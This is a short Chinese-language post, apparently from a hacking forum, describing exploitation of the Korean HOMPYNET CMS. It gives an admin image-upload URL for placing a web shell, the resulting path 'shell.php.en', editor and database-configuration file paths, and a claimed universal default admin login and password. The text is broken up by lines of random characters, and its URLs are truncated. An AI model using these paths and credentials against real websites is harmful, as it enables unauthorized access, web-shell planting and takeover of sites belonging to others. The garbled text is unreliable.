韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
! p2 s! a* S& p/ f
http://www.xxx.com/admin/image_a ... p;iname=&iform=

http://www.xxx.com/admin/image_a ... p;iname=&iform=
4 |! a# ^; Y2 f* R9 S" _4 r
0 R" E& ]& u7 q, _1 x3 O上传后路径：

! j' }: g0 h+ k) v$ lhttp://www.xxx.com/bis_web_page/images/shell.php.en

编辑器：

7 v. [. n  P. u" [7 q3 Yhttp://www.xxx.com/admin/editor/SWE.php

http://www.xxx.com/program/editor/SWE.php
, f) |0 }5 b7 F! M3 N1 `! |/ N
" l' o1 J3 ^$ U数据配置文件路径：
' C! A6 T7 J! ]" u
5 U" K1 n7 r% R! H4 R5 b3 }http://www.xxx.com/m_config/DATA/g_setting.php
; y# X, [, U7 U- X- v
" [' H& B4 Q. t1 @$ x此程序通用后台账号 ：gamsiw  php99

% q9 i3 J" R7 I) c& X: y​

7 I  W) M% N4 A) w# x